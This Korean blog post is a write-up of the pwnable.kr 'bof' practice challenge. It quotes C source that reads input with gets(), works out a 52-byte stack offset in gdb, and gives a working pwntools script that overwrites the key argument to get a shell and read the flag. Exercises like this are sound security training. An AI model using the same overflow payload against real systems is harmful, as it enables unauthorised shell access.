Security/System

[pwnable.kr] Toddler's Bottle - bof 문제

bonggang 2019. 9. 10. 21:43

문제


https://pwnable.kr/play.php

 

https://pwnable.kr/play.php

 

pwnable.kr

 

 

- nc: netcat의 줄임말, TCP/UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓸 수 잇는 가벼운 유틸리티

 

 

문제풀이


- 우선 문제에 제시된 파일들을 다운 받고 시작하자.

wget http://pwnable.kr/bin/bof.c
wget http://pwnable.kr/bin/bof

- cat bof.c를 통해 코드를 살펴보자.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

- system("/bin/sh")의 조건, 즉 쉘을 띄워주는 명령 조건: key==0xcafebabe

- gdb를 이용해서 코드를 분석해보자.

- <+40> cmp DWORD PTR[ebp+0x8], 0xcafebabe 부분이 if(key==0xcafebabe) 라는 것은 어셈블리를 잘 모르는 사람들도 추측할 수 있을 것이다.

=> key가 [ebp+0x8]인 것을 알 수 있다.

 

- call이 2번 나오는데 첫 번째 call이 printf, 두 번째 call이 gets인 것도 추측이 가능할 것이다.

=> overflowme[32]의 시작 주소가 [ebp-0x2c]임을 추측 가능

 

- 지금부터 사용할 방법은 buffer overflow.

=> ebp+0x8과 ebp-0x2c의 거리를 십진수로 변환한 52byte만큼의 데이터를 overflowme에 넣어준다면 key 값을 건드릴 수 있을 것이다.

 

실행 화면

이상하게 나는 왜 안될까? 뭔가 오타가 난 것 같긴한데 이유를 모르겠다...

ls를 입력해주지 않았다,,, cat flag도,,,;;

 

pwntools를 사용해서 script를 써버렸다.

다행이 이건 된다.

 

작성한 스크립트는 다음과 같다.

from pwn import *

r = remote("pwnable.kr", 9000)

payload = "D"*52 + "\xbe\xba\xfe\xca"

r.sendline(payload)
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
                   

 

그럼 지금부터 오타 찾으러 가야겠다...ㅎㅎㅎ